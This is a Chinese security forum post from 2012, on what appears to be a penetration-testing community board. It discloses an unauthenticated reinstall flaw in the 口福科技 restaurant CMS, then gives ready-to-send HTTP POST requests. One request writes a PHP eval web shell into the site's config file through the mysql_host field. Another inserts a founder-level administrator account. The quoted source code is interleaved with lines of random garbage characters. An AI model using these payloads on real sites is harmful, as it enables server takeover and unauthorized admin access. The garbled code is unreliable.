中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
& E: W1 ~( l* _4 P) o0 t
9 Y0 o2 W5 W' ^
<?php
8 m0 I+ N2 [3 P9 M5 E
if(file_exists("../install.lock"))
2 U* U; Q. F5 I2 N) k
{
* u2 r+ Q+ P0 h9 i5 A' J" c; z! E
header("Location: ../");//没有退出
$ a2 O, M* W" w4 w
}
8 Y. h: e1 J) d W' {, r0 Y+ B1 c7 A
) z! L% r! r# R7 O4 k
//echo 'tst';exit;
& O6 [! Z9 W8 ?7 c9 h, D( @1 T
require_once("init.php");
7 I* ]" o3 N5 d; u5 m
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
+ Y; H* O' \6 H: G
{
j1 K: z' p1 K j9 E3 a
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
6 J+ F4 E$ Y2 p; G5 z
1 x1 _& v% b- V% [. u* g3 C; t
1、getshell(很危险)
7 m( Y) v |6 A3 x9 x, j- {
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 Y9 | j, J/ A2 b
{
) X/ W8 a3 C( L9 h" L: f2 ^
$smarty->assign("step",1);
* @8 `) q5 A1 _4 `
$smarty->display("index.html");
. J3 c F% B: a' p# [; d
}elseif($_REQUEST['step']==2)
- G# }' j5 `, q: f# C, h0 Z' e; E& n
{
% ^. K8 C2 i/ x& d" F
$mysql_host=trim($_POST['mysql_host']);
8 j; L% L7 _1 @- G- v
$mysql_user=trim($_POST['mysql_user']);
( X/ R+ M+ Z0 T& G
$mysql_pwd=trim($_POST['mysql_pwd']);
, i) H! T$ ~+ k# N5 c
$mysql_db=trim($_POST['mysql_db']);
. B) S, k& T! l- E% }
$tblpre=trim($_POST['tblpre']);
. `5 _) r/ s5 t; f
$domain==trim($_POST['domain']);
2 \. u6 A& z0 s$ V8 }
$str="<?php \r\n";
" N r7 s0 B4 L0 z) g
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
: |9 n( z1 W' H
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
* k5 `( P, b" T- s1 g/ Q
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
8 U+ G/ g. e2 ?& a4 r2 d
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
/ z! e4 k" L8 G2 L
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
+ b E# ~0 W2 j* r& \9 M6 ]/ i
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
. U$ T$ h% p3 m' G
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
6 o4 s$ ^4 |; s
$str.='define("SKINS","default");'."\r\n";
( s* I+ f Y6 i U" K. p2 q6 R
$str.='?>';
@% d E/ e+ }; C; Q
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
% G9 H+ I7 o* G+ K3 N" B; w5 O5 J1 d4 J
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
M g2 t$ N6 L1 B' i
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 x* A& x b$ X* Y1 n8 M
Host: 192.168.80.129
, A+ s* \: `1 \" a5 q2 r# i* y+ W
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
/ u( \9 f! L$ j. q7 @
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
j B7 u* F& d, T4 O* V5 j
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
& A, h& c8 k6 h- p! N# u3 F4 \
Accept-Encoding: gzip, deflate
! j1 p: c6 w% ?9 N6 o& Q
Referer:
http://192.168.80.129/canting/install/index.php?step=1
: N/ P2 m: @0 I C6 o
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
/ Q$ K3 |2 s0 N, o; l6 P& E
Content-Type: application/x-www-form-urlencoded
2 E) a6 v0 C6 h! j. X/ y
Content-Length: 126
" ]- X- {, J, K6 w$ E1 C
/ } z, O: F9 E: r' T
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
) u1 y6 A% O# ^+ M8 ?
但是这个方法很危险,将导致网站无法运行。
- o, C6 D' y7 h! V N( u
9 l8 x7 J' T5 p* R
2、直接添加管理员
' w' r- f. j4 L, r- d( r
- f: e0 p! V7 Y
elseif($_REQUEST['step']==5)
* _: C- j! q! ~7 a9 d9 E1 y- I5 `
{
* E ]7 a b# Y8 s
if($_POST)
( ]; g0 W. V6 v
{ require_once("../config/config.inc.php");
. Y7 D( @* ~" c# s
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
" }- Q8 Y: e8 r# W
mysql_select_db(MYSQL_DB,$link);
8 M# y: U2 g3 J: h0 d" G/ w2 I
mysql_query("SET NAMES ".MYSQL_CHARSET );
- U1 c$ d& \; s: z& S I
mysql_query("SET sql_mode=''");
' d" P' f) ?( p" f% R' n9 O7 a
, K; }. ]7 A- j6 e7 ~9 e# L
$adminname=trim($_POST['adminname']);
1 K2 p/ k* f1 q( y& t0 h9 h1 N
$pwd1=trim($_POST['pwd1']);
( C* |* T3 U1 I+ w# u) X
$pwd2=trim($_POST['pwd2']);
4 A' k% \" W- w
if(empty($adminname))
2 b; `9 O$ V- x9 m
{
' `" c* b0 R3 n8 {2 K1 E
1 v4 H1 ~) J' x, V6 e$ O- g' N
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
) H6 e9 w% ]3 A; e8 |7 E
exit();
. `% W' @- w3 @5 r. u" Z9 w
}
( \( w, M+ u: K, }
if(($pwd1!=$pwd2) or empty($pwd1))
- t( D: M/ M9 J6 ^$ Q& j2 Y
{
; t7 F( T- @ r- ?* N
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
8 \8 m Q% \6 S6 c r
}
3 B# H8 o& I. V8 l
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
3 k0 p. I, V6 z' d7 P& i
}
! ~; t9 _- y. i# h6 L
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
. ?* P6 C$ V, q t# T
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
! v1 c( B H. }0 C5 a7 a7 Z
Host: 192.168.80.129
' a7 S, z5 u S& G
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
/ j/ q3 D) X* e) y" \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* g: l& e( c" _' Y6 \
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# A. @7 I5 Y) h4 {- n6 i: a
Accept-Encoding: gzip, deflate
2 F) |9 H9 t8 A9 f
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
6 v; \" l( w4 V
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 l8 [7 I% L& q) u1 t& i0 H4 J
Content-Type: application/x-www-form-urlencoded
+ V# j' V( w+ ?. O0 g7 v& i* [ I
Content-Length: 46
3 e A) @& @! \0 n4 e) S+ k
8 o, N! `/ T4 U R, h
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
, Y8 `9 @+ z. _& b1 h5 N* ^" y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2